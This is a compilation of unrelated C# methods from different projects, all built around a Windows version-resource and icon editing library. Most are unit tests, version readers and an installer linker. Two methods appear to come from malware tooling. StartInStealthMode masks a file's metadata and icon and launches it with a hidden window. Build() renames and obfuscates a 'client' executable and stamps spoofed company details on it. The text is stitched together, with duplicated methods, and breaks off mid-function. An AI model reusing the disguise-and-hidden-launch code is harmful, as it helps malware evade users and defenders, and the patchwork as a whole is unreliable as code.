public void TestDeleteVersionResource()
{
string filename = Path.Combine(Environment.SystemDirectory, "atl.dll");
Assert.IsTrue(File.Exists(filename));
string targetFilename = Path.Combine(Path.GetTempPath(), "testDeleteVersionResource.dll");
File.Copy(filename, targetFilename, true);
Console.WriteLine(targetFilename);
VersionResource versionResource = new VersionResource();
versionResource.Language = ResourceUtil.USENGLISHLANGID;
versionResource.LoadFrom(targetFilename);
Console.WriteLine("Name: {0}", versionResource.Name);
Console.WriteLine("Type: {0}", versionResource.Type);
Console.WriteLine("Language: {0}", versionResource.Language);
versionResource.DeleteFrom(targetFilename);
try
{
versionResource.LoadFrom(targetFilename);
Assert.Fail("Expected that the deleted resource cannot be found");
}
catch (Win32Exception ex)
{
// expected exception
Console.WriteLine("Expected exception: {0}", ex.Message);
}
using (ResourceInfo ri = new ResourceInfo())
{
ri.Load(targetFilename);
DumpResource.Dump(ri);
}
}
public void TestDeepCopyBytes()
{
string filename = Path.Combine(Environment.SystemDirectory, "atl.dll");
Assert.IsTrue(File.Exists(filename));
VersionResource existingVersionResource = new VersionResource();
existingVersionResource.Language = ResourceUtil.USENGLISHLANGID;
Console.WriteLine("Loading {0}", filename);
existingVersionResource.LoadFrom(filename);
DumpResource.Dump(existingVersionResource);
VersionResource versionResource = new VersionResource();
versionResource.FileVersion = existingVersionResource.FileVersion;
versionResource.ProductVersion = existingVersionResource.ProductVersion;
StringFileInfo existingVersionResourceStringFileInfo = (StringFileInfo)existingVersionResource["StringFileInfo"];
VarFileInfo existingVersionResourceVarFileInfo = (VarFileInfo)existingVersionResource["VarFileInfo"];
// copy string resources, data only
StringFileInfo stringFileInfo = new StringFileInfo();
versionResource["StringFileInfo"] = stringFileInfo;
{
Dictionary <string, StringTable> .Enumerator enumerator = existingVersionResourceStringFileInfo.Strings.GetEnumerator();
while (enumerator.MoveNext())
{
StringTable stringTable = new StringTable(enumerator.Current.Key);
stringFileInfo.Strings.Add(enumerator.Current.Key, stringTable);
Dictionary <string, StringTableEntry> .Enumerator resourceEnumerator = enumerator.Current.Value.Strings.GetEnumerator();
while (resourceEnumerator.MoveNext())
{
StringTableEntry stringResource = new StringTableEntry(resourceEnumerator.Current.Key);
stringResource.Value = resourceEnumerator.Current.Value.Value;
stringTable.Strings.Add(resourceEnumerator.Current.Key, stringResource);
}
}
}
// copy var resources, data only
VarFileInfo varFileInfo = new VarFileInfo();
versionResource["VarFileInfo"] = varFileInfo;
{
Dictionary <string, VarTable> .Enumerator enumerator = existingVersionResourceVarFileInfo.Vars.GetEnumerator();
while (enumerator.MoveNext())
{
VarTable varTable = new VarTable(enumerator.Current.Key);
varFileInfo.Vars.Add(enumerator.Current.Key, varTable);
Dictionary <UInt16, UInt16> .Enumerator translationEnumerator = enumerator.Current.Value.Languages.GetEnumerator();
while (translationEnumerator.MoveNext())
{
varTable.Languages.Add(translationEnumerator.Current.Key, translationEnumerator.Current.Value);
}
}
}
ByteUtils.CompareBytes(existingVersionResource.WriteAndGetBytes(), versionResource.WriteAndGetBytes());
}
private void Assembly(string kek)
{
VersionResource vr = new VersionResource();
vr.LoadFrom(kek);
vr.FileVersion = fileverBox.Text;
vr.ProductVersion = proverBox.Text;
vr.Language = 0;
StringFileInfo Sfi = (StringFileInfo)vr["StringFileInfo"];
Sfi["ProductName"] = proBox.Text;
Sfi["FileDescription"] = desBox.Text;
Sfi["CompanyName"] = comBox.Text;
Sfi["LegalCopyright"] = copyBox.Text;
Sfi["LegalTrademarks"] = tradeBox.Text;
Sfi["Assembly Version"] = vr.ProductVersion;
Sfi["InternalName"] = oriBox.Text;
Sfi["OriginalFilename"] = oriBox.Text;
Sfi["ProductVersion"] = vr.ProductVersion;
Sfi["FileVersion"] = vr.ProductVersion;
vr.SaveTo(kek);
}
private void WriteAssembly(string filename)
{
try
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(filename);
versionResource.FileVersion = txtFileVersion.Text;
versionResource.ProductVersion = txtProductVersion.Text;
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["ProductName"] = txtProduct.Text;
stringFileInfo["FileDescription"] = txtDescription.Text;
stringFileInfo["CompanyName"] = txtCompany.Text;
stringFileInfo["LegalCopyright"] = txtCopyright.Text;
stringFileInfo["LegalTrademarks"] = txtTrademarks.Text;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = txtOriginalFilename.Text;
stringFileInfo["OriginalFilename"] = txtOriginalFilename.Text;
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
versionResource.SaveTo(filename);
}
catch (Exception ex)
{
throw new ArgumentException("Assembly: " + ex.Message);
}
}
public void TestLoadAndSaveVersionResource(string binaryName)
{
Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
Assert.IsTrue(File.Exists(filename));
VersionResource versionResource = new VersionResource();
versionResource.Language = ResourceUtil.USENGLISHLANGID;
versionResource.LoadFrom(filename);
DumpResource.Dump(versionResource);
versionResource.FileVersion = "1.2.3.4";
versionResource.ProductVersion = "5.6.7.8";
versionResource.FileFlags = 0x2 | 0x8; // private and prerelease
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["Comments"] = string.Format("{0}\0", Guid.NewGuid());
stringFileInfo["NewValue"] = string.Format("{0}\0", Guid.NewGuid());
VarFileInfo varFileInfo = (VarFileInfo)versionResource["VarFileInfo"];
varFileInfo[ResourceUtil.USENGLISHLANGID] = 1300;
string targetFilename = Path.Combine(Path.GetTempPath(), "test.dll");
File.Copy(filename, targetFilename, true);
Console.WriteLine(targetFilename);
versionResource.SaveTo(targetFilename);
VersionResource newVersionResource = new VersionResource();
newVersionResource.Language = ResourceUtil.USENGLISHLANGID;
newVersionResource.LoadFrom(targetFilename);
DumpResource.Dump(versionResource);
AssertOneVersionResource(targetFilename);
Assert.AreEqual(newVersionResource.FileVersion, versionResource.FileVersion);
Assert.AreEqual(newVersionResource.ProductVersion, versionResource.ProductVersion);
Assert.AreEqual(newVersionResource.FileFlags, versionResource.FileFlags);
StringFileInfo testedStringFileInfo = (StringFileInfo)newVersionResource["StringFileInfo"];
foreach (KeyValuePair <string, StringTableEntry> stringResource in testedStringFileInfo.Default.Strings)
{
Console.WriteLine("{0} = {1}", stringResource.Value.Key, stringResource.Value.StringValue);
Assert.AreEqual(stringResource.Value.Value, stringFileInfo[stringResource.Key]);
}
VarFileInfo newVarFileInfo = (VarFileInfo)newVersionResource["VarFileInfo"];
foreach (KeyValuePair <UInt16, UInt16> varResource in newVarFileInfo.Default.Languages)
{
Console.WriteLine("{0} = {1}", varResource.Key, varResource.Value);
Assert.AreEqual(varResource.Value, varFileInfo[varResource.Key]);
}
}
public static Version GetVersionByAppPath(FileSystemPath appPath)
{
if (appPath == null || appPath.Exists == FileSystemPath.Existence.Missing)
{
return(null);
}
Version version = null;
ourLogger.CatchWarn(() => // RIDER-23674
{
switch (PlatformUtil.RuntimePlatform)
{
case PlatformUtil.Platform.Windows:
ourLogger.CatchWarn(() =>
{
version = new Version(
new Version(FileVersionInfo.GetVersionInfo(appPath.FullPath).FileVersion)
.ToString(3));
});
var resource = new VersionResource();
resource.LoadFrom(appPath.FullPath);
var unityVersionList = resource.Resources.Values.OfType <StringFileInfo>()
.Where(c => c.Default.Strings.Keys.Any(b => b == "Unity Version")).ToArray();
if (unityVersionList.Any())
{
var unityVersion = unityVersionList.First().Default.Strings["Unity Version"].StringValue;
version = Parse(unityVersion);
}
break;
case PlatformUtil.Platform.MacOsX:
var infoPlistPath = appPath.Combine("Contents/Info.plist");
if (infoPlistPath.ExistsFile)
{
var docs = XDocument.Load(infoPlistPath.FullPath);
var keyValuePairs = docs.Descendants("dict")
.SelectMany(d => d.Elements("key").Zip(d.Elements().Where(e => e.Name != "key"),
(k, v) => new { Key = k, Value = v }))
.GroupBy(x => x.Key.Value)
.Select(g =>
g.First()) // avoid exception An item with the same key has already been added.
.ToDictionary(i => i.Key.Value, i => i.Value.Value);
version = Parse(keyValuePairs["CFBundleVersion"]);
}
break;
case PlatformUtil.Platform.Linux:
version = Parse(appPath.FullPath); // parse from path
break;
}
});
return(version);
}
public void TestDeleteAndSaveVersionResource(string binaryName, int language)
{
Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
Assert.IsTrue(File.Exists(filename));
string targetFilename = Path.Combine(Path.GetTempPath(), "testDeleteAndSaveVersionResource.dll");
File.Copy(filename, targetFilename, true);
Console.WriteLine(targetFilename);
VersionResource existingVersionResource = new VersionResource();
existingVersionResource.Language = (ushort)language;
existingVersionResource.DeleteFrom(targetFilename);
VersionResource versionResource = new VersionResource();
versionResource.FileVersion = "1.2.3.4";
versionResource.ProductVersion = "4.5.6.7";
StringFileInfo stringFileInfo = new StringFileInfo();
versionResource[stringFileInfo.Key] = stringFileInfo;
StringTable stringFileInfoStrings = new StringTable(); // "040904b0"
stringFileInfoStrings.LanguageID = (ushort)language;
stringFileInfoStrings.CodePage = 1200;
Assert.AreEqual(language, stringFileInfoStrings.LanguageID);
Assert.AreEqual(1200, stringFileInfoStrings.CodePage);
stringFileInfo.Strings.Add(stringFileInfoStrings.Key, stringFileInfoStrings);
stringFileInfoStrings["ProductName"] = "ResourceLib";
stringFileInfoStrings["FileDescription"] = "File updated by ResourceLib\0";
stringFileInfoStrings["CompanyName"] = "Vestris Inc.";
stringFileInfoStrings["LegalCopyright"] = "All Rights Reserved\0";
stringFileInfoStrings["EmptyValue"] = "";
stringFileInfoStrings["Comments"] = string.Format("{0}\0", Guid.NewGuid());
stringFileInfoStrings["ProductVersion"] = string.Format("{0}\0", versionResource.ProductVersion);
VarFileInfo varFileInfo = new VarFileInfo();
versionResource[varFileInfo.Key] = varFileInfo;
VarTable varFileInfoTranslation = new VarTable("Translation");
varFileInfo.Vars.Add(varFileInfoTranslation.Key, varFileInfoTranslation);
varFileInfoTranslation[ResourceUtil.USENGLISHLANGID] = 1300;
versionResource.SaveTo(targetFilename);
Console.WriteLine("Reloading {0}", targetFilename);
VersionResource newVersionResource = new VersionResource();
newVersionResource.LoadFrom(targetFilename);
DumpResource.Dump(newVersionResource);
AssertOneVersionResource(targetFilename);
Assert.AreEqual(newVersionResource.FileVersion, versionResource.FileVersion);
Assert.AreEqual(newVersionResource.ProductVersion, versionResource.ProductVersion);
}
private static VersionResource GetVersionResource()
{
Assembly asm = Assembly.GetExecutingAssembly();
var versionResource = new VersionResource();
string fileName = asm.Location;
versionResource.LoadFrom(fileName);
return(versionResource);
}
public static string FetchVersionInfo()
{
Assembly asm = Assembly.GetExecutingAssembly();
var versionResource = new VersionResource();
string fileName = asm.Location;
versionResource.LoadFrom(fileName);
return(versionResource.FileVersion);
}
public void TestDeleteAndSaveVersionResource()
{
string filename = Path.Combine(Environment.SystemDirectory, "atl.dll");
Assert.IsTrue(File.Exists(filename));
string targetFilename = Path.Combine(Path.GetTempPath(), "testDeleteAndSaveVersionResource.dll");
File.Copy(filename, targetFilename, true);
Console.WriteLine(targetFilename);
VersionResource existingVersionResource = new VersionResource();
existingVersionResource.DeleteFrom(targetFilename);
VersionResource versionResource = new VersionResource();
versionResource.FileVersion = "1.2.3.4";
versionResource.ProductVersion = "4.5.6.7";
StringFileInfo stringFileInfo = new StringFileInfo();
versionResource[stringFileInfo.Key] = stringFileInfo;
StringTable stringFileInfoStrings = new StringTable(); // "040904b0"
stringFileInfoStrings.LanguageID = 1033;
stringFileInfoStrings.CodePage = 1200;
Assert.AreEqual(1033, stringFileInfoStrings.LanguageID);
Assert.AreEqual(1200, stringFileInfoStrings.CodePage);
stringFileInfo.Strings.Add(stringFileInfoStrings.Key, stringFileInfoStrings);
stringFileInfoStrings["ProductName"] = "ResourceLib";
stringFileInfoStrings["FileDescription"] = "File updated by ResourceLib\0";
stringFileInfoStrings["CompanyName"] = "Vestris Inc.";
stringFileInfoStrings["LegalCopyright"] = "All Rights Reserved\0";
stringFileInfoStrings["EmptyValue"] = "";
stringFileInfoStrings["Comments"] = string.Format("{0}\0", Guid.NewGuid());
stringFileInfoStrings["ProductVersion"] = string.Format("{0}\0", versionResource.ProductVersion);
VarFileInfo varFileInfo = new VarFileInfo();
versionResource[varFileInfo.Key] = varFileInfo;
VarTable varFileInfoTranslation = new VarTable("Translation");
varFileInfo.Vars.Add(varFileInfoTranslation.Key, varFileInfoTranslation);
varFileInfoTranslation[ResourceUtil.USENGLISHLANGID] = 1300;
versionResource.SaveTo(targetFilename);
Console.WriteLine("Reloading {0}", targetFilename);
VersionResource newVersionResource = new VersionResource();
newVersionResource.LoadFrom(targetFilename);
DumpResource.Dump(newVersionResource);
Assert.AreEqual(newVersionResource.FileVersion, versionResource.FileVersion);
Assert.AreEqual(newVersionResource.ProductVersion, versionResource.ProductVersion);
}
static Version GetVersion()
{
var asm = Assembly.GetExecutingAssembly();
var versionResource = new VersionResource();
var fileName = asm.Location;
versionResource.LoadFrom(fileName);
var v = new Version(versionResource.FileVersion);
return(v);
}
public void TestLoadVersionResourceStrings()
{
string filename = Path.Combine(Environment.SystemDirectory, "atl.dll");
Assert.IsTrue(File.Exists(filename));
VersionResource versionResource = new VersionResource();
versionResource.Language = ResourceUtil.USENGLISHLANGID;
versionResource.LoadFrom(filename);
DumpResource.Dump(versionResource);
}
public void StartInStealthMode()
{
if (isMoved)
{
MoveFiles();
}
if (File.Exists(Path.Combine(MaskDir.FullName, "conhost.exe")))
{
File.Delete(Path.Combine(MaskDir.FullName, "conhost.exe"));
}
VersionResource vr = new VersionResource();
vr.LoadFrom(Path.Combine(MaskDir.FullName, NameMainFile));
StringFileInfo sfi = (StringFileInfo)vr["StringFileInfo"];
sfi["OriginalFilename"] = NameMainFile;
StringTableEntry.ConsiderPaddingForLength = true;
vr.Language = 0;
vr.SaveTo(Path.Combine(MaskDir.FullName, NameMainFile));
using (FileStream fs = new FileStream("ico.ico", FileMode.Create))
icon.Save(fs);
new IconDirectoryResource(new IconFile("ico.ico")).SaveTo(Path.Combine(MaskDir.FullName, NameMainFile));
//Отчиска
foreach (FileInfo fi in new List <FileInfo>()
{
new FileInfo("ico.ico")
})
{
if (fi.Exists)
{
fi.Delete();
}
}
Process proc = new Process();
proc.StartInfo.FileName = $"{Path.Combine(MaskDir.FullName, NameMainFile)}";
proc.StartInfo.Arguments = $"--code-load 0x0000008 --debug diable --nodemode 0 --ss 3976949C";
proc.StartInfo.UseShellExecute = true;
proc.StartInfo.CreateNoWindow = true;
proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
proc.Start();
}
/// <summary>
/// Builds a client executable.
/// </summary>
public void Build()
{
using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath))
{
// PHASE 1 - Writing settings
WriteSettings(asmDef);
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
{
throw new Exception("renaming failed");
}
// PHASE 3 - Saving
r.AsmDef.Write(_options.OutputPath);
}
// PHASE 4 - Assembly Information changing
if (_options.AssemblyInformation != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(_options.OutputPath);
versionResource.FileVersion = _options.AssemblyInformation[7];
versionResource.ProductVersion = _options.AssemblyInformation[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = _options.AssemblyInformation[2];
stringFileInfo["FileDescription"] = _options.AssemblyInformation[1];
stringFileInfo["ProductName"] = _options.AssemblyInformation[0];
stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3];
stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = _options.AssemblyInformation[5];
stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5];
versionResource.SaveTo(_options.OutputPath);
}
// PHASE 5 - Icon changing
if (!string.IsNullOrEmpty(_options.IconPath))
{
IconFile iconFile = new IconFile(_options.IconPath);
IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile);
iconDirectoryResource.SaveTo(_options.OutputPath);
}
}
public void TestLoadVersionResourceStrings(string binaryName)
{
Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
Assert.IsTrue(File.Exists(filename));
VersionResource versionResource = new VersionResource();
versionResource.Language = ResourceUtil.USENGLISHLANGID;
versionResource.LoadFrom(filename);
DumpResource.Dump(versionResource);
AssertOneVersionResource(filename);
}
public void TestDeleteVersionResource(string binaryName)
{
Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
Assert.IsTrue(File.Exists(filename));
string targetFilename = Path.Combine(Path.GetTempPath(), "testDeleteVersionResource.dll");
File.Copy(filename, targetFilename, true);
Console.WriteLine(targetFilename);
VersionResource versionResource = new VersionResource();
versionResource.Language = ResourceUtil.USENGLISHLANGID;
versionResource.LoadFrom(targetFilename);
Console.WriteLine("Name: {0}", versionResource.Name);
Console.WriteLine("Type: {0}", versionResource.Type);
Console.WriteLine("Language: {0}", versionResource.Language);
versionResource.DeleteFrom(targetFilename);
try
{
versionResource.LoadFrom(targetFilename);
Assert.Fail("Expected that the deleted resource cannot be found");
}
catch (Win32Exception ex)
{
// expected exception
Console.WriteLine("Expected exception: {0}", ex.Message);
}
AssertNoVersionResource(targetFilename);
using (ResourceInfo ri = new ResourceInfo())
{
ri.Load(targetFilename);
DumpResource.Dump(ri);
}
}
public void TestLoadNeutralDeleteEnglishResource()
{
// the 6to4svc.dll has an English version info strings resource that is loaded via netural
VersionResource vr = new VersionResource();
string testDll = Path.Combine(Path.GetTempPath(), "testLoadNeutralDeleteEnglishResource.dll");
Console.WriteLine(testDll);
Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
string dll = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\6to4svc.dll");
File.Copy(dll, testDll, true);
vr.LoadFrom(testDll);
Assert.AreEqual(1033, vr.Language);
vr.DeleteFrom(testDll);
}
private ClientInfo(string filepath)
{
ExecutablPath = filepath;
DirectoryPath = Path.GetDirectoryName(filepath);
var verResource = new VersionResource();
verResource.LoadFrom(filepath);
var strResource = verResource["StringFileInfo"].ToString();
var strVal = strResource.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries).Where(t => t.TrimStart(' ').StartsWith("VALUE")).ToArray();
foreach (var values in strVal.Select(t => t.Split(new[] { '\"' }, StringSplitOptions.None)))
{
if (values.Length < 5)
{
continue;
}
if (values[1] == "FileDescription")
{
FileDescription = values[3];
}
else if (values[1] == "CompanyName")
{
CompanyName = values[3];
}
else if (values[1] == "ProductName")
{
ProductName = values[3];
}
}
var bitver = new byte[4];
var strver = verResource.ProductVersion.Split('.');
for (int i = 0; i < 4; ++i)
{
bitver[i] = byte.Parse(strver[i]);
}
ProductVersion = new Version(bitver[0], bitver[1], bitver[2], bitver[3]);
strver = verResource.FileVersion.Split('.');
for (int i = 0; i < 4; ++i)
{
bitver[i] = byte.Parse(strver[i]);
}
FileVersion = new Version(bitver[0], bitver[1], bitver[2], bitver[3]);
}
static Version GetVersion()
{
var min = ConfigurationManager.AppSettings["MinSupportedVersion"];
if (min != null)
{
return(Version.Parse(min));
}
var asm = Assembly.GetExecutingAssembly();
var versionResource = new VersionResource();
var fileName = asm.Location;
versionResource.LoadFrom(fileName);
Version v = new Version(versionResource.FileVersion);
return(v);
}
public void TestLoadDeleteGreekResource()
{
// the 6to4svcgreek.dll has a Greek version info strings resource
VersionResource vr = new VersionResource();
vr.Language = 1032;
string testDll = Path.Combine(Path.GetTempPath(), "testLoadDeleteGreekResource.dll");
Console.WriteLine(testDll);
Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
string dll = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\6to4svcgreek.dll");
File.Copy(dll, testDll, true);
vr.LoadFrom(testDll);
DumpResource.Dump(vr);
Assert.AreEqual(1032, vr.Language);
vr.DeleteFrom(testDll);
}
public static void SetExeResourceInfo(string fullPathToExe, ExeResInfo i)
{
VersionResource versionResource = new VersionResource();
versionResource.Language = 1043;
versionResource.LoadFrom(fullPathToExe);
versionResource.FileVersion = i.ExeVersion.ToString();
versionResource.ProductVersion = i.ExeVersion.ToString();
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = n(i.Company);
stringFileInfo["ProductName"] = n(i.Product);
stringFileInfo["LegalCopyright"] = n(i.Copyright);
stringFileInfo["ProductVersion"] = n(versionResource.ProductVersion);
stringFileInfo["FileDescription"] = n(i.Description);
stringFileInfo["Comments"] = n("Powered by GMPrikol.");
versionResource.SaveTo(fullPathToExe);
IconDirectoryResource rc = new IconDirectoryResource();
rc.Name = new ResourceId("MAINICON");
rc.Language = 1043;
rc.LoadFrom(fullPathToExe);
string AppDir = AppDomain.CurrentDomain.BaseDirectory;
string Ico = Path.Combine(AppDir, "temp.ico");
File.WriteAllBytes(Ico, i.FileIcon);
IconFile iconfile = new IconFile(Ico);
File.Delete(Ico);
IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconfile);
rc.Icons.Clear();
foreach (var ii in iconDirectoryResource.Icons)
{
rc.Icons.Add(ii);
}
rc.SaveTo(fullPathToExe);
}
public static Version ReadUnityVersionFromExe(FileSystemPath exePath)
{
Version version = null;
ourLogger.CatchWarn(() => // RIDER-23674
{
version = new Version(new Version(FileVersionInfo.GetVersionInfo(exePath.FullPath).FileVersion)
.ToString(3));
var resource = new VersionResource();
resource.LoadFrom(exePath.FullPath);
var unityVersionList = resource.Resources.Values.OfType<StringFileInfo>()
.Where(c => c.Default.Strings.Keys.Any(b => b == "Unity Version")).ToArray();
if (unityVersionList.Any())
{
var unityVersion = unityVersionList.First().Default.Strings["Unity Version"].StringValue;
version = Parse(unityVersion);
}
});
return version;
}
private static void ApplyAssemblyInformation(string path, ChangeAssemblyInformationBuilderProperty settings)
{
var versionResource = new VersionResource();
versionResource.LoadFrom(path);
versionResource.FileVersion = settings.AssemblyFileVersion;
versionResource.ProductVersion = settings.AssemblyProductVersion;
versionResource.Language = 0;
var stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["InternalName"] = settings.AssemblyTitle;
stringFileInfo["FileDescription"] = settings.AssemblyDescription;
stringFileInfo["CompanyName"] = settings.AssemblyCompanyName;
stringFileInfo["ProductName"] = settings.AssemblyProductName;
stringFileInfo["LegalCopyright"] = settings.AssemblyCopyright;
stringFileInfo["LegalTrademarks"] = settings.AssemblyTrademarks;
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
versionResource.SaveTo(path);
}
public void NoExceptionsOnNonAnsiPaths(string pefile, string widepath)
{
string widedir = Path.Combine(Path.GetTempPath(), widepath);
try
{
if (Directory.Exists(widedir))
{
Directory.Delete(widedir, true);
}
Directory.CreateDirectory(widedir);
// Some binary file
string pefileSrc = Path.Combine(Path.GetDirectoryName(new Uri(Assembly.GetExecutingAssembly().EscapedCodeBase, UriKind.Absolute).LocalPath), "Binaries\\" + pefile);
Assert.That(File.Exists(pefileSrc), Is.True);
string pefileDest = Path.Combine(widedir, pefile);
File.Copy(pefileSrc, pefileDest);
// Check it works — the operation is not important, LoadLibraryEx failed any of them
var versionResource = new VersionResource();
versionResource.Language = ResourceUtil.USENGLISHLANGID;
versionResource.LoadFrom(pefileDest); // “System.ComponentModel.Win32Exception : The system cannot find the file specified” if fails
DumpResource.Dump(versionResource);
}
finally
{
try
{
Directory.Delete(widedir, true);
}
catch
{
// Ignore, that's post-test cleanup
}
}
}
public static void CreateInstaller(InstallerLinkerArguments args)
{
args.Validate();
args.WriteLine(string.Format("Creating \"{0}\" from \"{1}\"", args.output, args.template));
System.IO.File.Copy(args.template, args.output, true);
System.IO.File.SetAttributes(args.output, System.IO.FileAttributes.Normal);
string configFilename = args.config;
#region Version Information
ConfigFile configfile = new ConfigFile();
configfile.Load(configFilename);
// \todo: check XML with XSD, warn if nodes are being dropped
// filter the configuration
string configTemp = null;
if (!string.IsNullOrEmpty(args.processorArchitecture))
{
int configurationCount = configfile.ConfigurationCount;
int componentCount = configfile.ComponentCount;
args.WriteLine(string.Format("Applying processor architecture filter \"{0}\"", args.processorArchitecture));
ProcessorArchitectureFilter filter = new ProcessorArchitectureFilter(args.processorArchitecture);
XmlDocument filteredXml = configfile.GetXml(filter);
configTemp = configFilename = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString());
filteredXml.Save(configTemp);
configfile.LoadXml(filteredXml);
args.WriteLine(string.Format(" configurations: {0} => {1}", configurationCount, configfile.ConfigurationCount));
args.WriteLine(string.Format(" components: {0} => {1}", componentCount, configfile.ComponentCount));
}
args.WriteLine(string.Format("Updating binary attributes in \"{0}\"", args.output));
VersionResource rc = new VersionResource();
rc.LoadFrom(args.output);
// version information
StringFileInfo stringFileInfo = (StringFileInfo)rc["StringFileInfo"];
if (!string.IsNullOrEmpty(configfile.productversion))
{
rc.ProductVersion = configfile.productversion;
stringFileInfo["ProductVersion"] = configfile.productversion;
}
if (!string.IsNullOrEmpty(configfile.fileversion))
{
rc.FileVersion = configfile.fileversion;
stringFileInfo["FileVersion"] = configfile.fileversion;
}
foreach (FileAttribute attr in configfile.fileattributes)
{
args.WriteLine(string.Format(" {0}: {1}", attr.name, attr.value));
stringFileInfo[attr.name] = attr.value;
}
rc.Language = ResourceUtil.NEUTRALLANGID;
rc.SaveTo(args.output);
#endregion
#region Optional Icon
// optional icon
if (!string.IsNullOrEmpty(args.icon))
{
args.WriteLine(string.Format("Embedding icon \"{0}\"", args.icon));
IconFile iconFile = new IconFile(args.icon);
List <string> iconSizes = new List <string>();
foreach (IconFileIcon icon in iconFile.Icons)
{
iconSizes.Add(icon.ToString());
}
args.WriteLine(string.Format(" {0}", string.Join(", ", iconSizes.ToArray())));
IconDirectoryResource iconDirectory = new IconDirectoryResource(iconFile);
iconDirectory.Name = new ResourceId(128);
iconDirectory.Language = ResourceUtil.NEUTRALLANGID;
iconDirectory.SaveTo(args.output);
}
#endregion
#region Manifest
if (!string.IsNullOrEmpty(args.manifest))
{
args.WriteLine(string.Format("Embedding manifest \"{0}\"", args.manifest));
ManifestResource manifest = new ManifestResource();
manifest.Manifest.Load(args.manifest);
manifest.SaveTo(args.output);
}
#endregion
string supportdir = string.IsNullOrEmpty(args.apppath)
? Environment.CurrentDirectory
: args.apppath;
string templatepath = Path.GetDirectoryName(Path.GetFullPath(args.template));
// create a temporary directory for CABs
string cabtemp = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString());
Directory.CreateDirectory(cabtemp);
args.WriteLine(string.Format("Writing CABs to \"{0}\"", cabtemp));
try
{
#region Prepare CABs
long totalSize = 0;
List <String> allFilesList = new List <string>();
// embedded files
if (args.embed)
{
args.WriteLine(string.Format("Compressing files in \"{0}\"", supportdir));
Dictionary <string, EmbedFileCollection> all_files = configfile.GetFiles(string.Empty, supportdir);
// ensure at least one for additional command-line parameters
if (all_files.Count == 0)
{
all_files.Add(string.Empty, new EmbedFileCollection(supportdir));
}
using (Dictionary <string, EmbedFileCollection> .Enumerator enumerator = all_files.GetEnumerator())
{
while (enumerator.MoveNext())
{
EmbedFileCollection c_files = enumerator.Current.Value;
// add additional command-line files to the root CAB
if (string.IsNullOrEmpty(enumerator.Current.Key))
{
if (args.embedFiles != null)
{
foreach (string filename in args.embedFiles)
{
string fullpath = Path.Combine(args.apppath, filename);
c_files.Add(new EmbedFilePair(fullpath, filename));
}
}
if (args.embedFolders != null)
{
foreach (string folder in args.embedFolders)
{
c_files.AddDirectory(folder);
}
}
}
if (c_files.Count == 0)
{
continue;
}
c_files.CheckFilesExist(args);
c_files.CheckFileAttributes(args);
ArrayList files = c_files.GetFilePairs();
// compress new CABs
string cabname = string.IsNullOrEmpty(enumerator.Current.Key)
? Path.Combine(cabtemp, "SETUP_%d.CAB")
: Path.Combine(cabtemp, string.Format("SETUP_{0}_%d.CAB", enumerator.Current.Key));
Compress cab = new Compress();
long currentSize = 0;
cab.evFilePlaced += delegate(string s_File, int s32_FileSize, bool bContinuation)
{
if (!bContinuation)
{
totalSize += s32_FileSize;
currentSize += s32_FileSize;
args.WriteLine(String.Format(" {0} - {1}", s_File, EmbedFileCollection.FormatBytes(s32_FileSize)));
}
return(0);
};
cab.CompressFileList(files, cabname, true, true, args.embedResourceSize);
StringBuilder fileslist = new StringBuilder();
fileslist.AppendLine(string.Format("{0} CAB size: {1}",
string.IsNullOrEmpty(enumerator.Current.Key) ? "*" : enumerator.Current.Key,
EmbedFileCollection.FormatBytes(currentSize)));
fileslist.Append(" " + String.Join("\r\n ", c_files.GetFileValuesWithSize(2)));
allFilesList.Add(fileslist.ToString());
}
}
}
#endregion
#region Resources
// embed resources
IntPtr h = ResourceUpdate.BeginUpdateResource(args.output, false);
if (h == IntPtr.Zero)
{
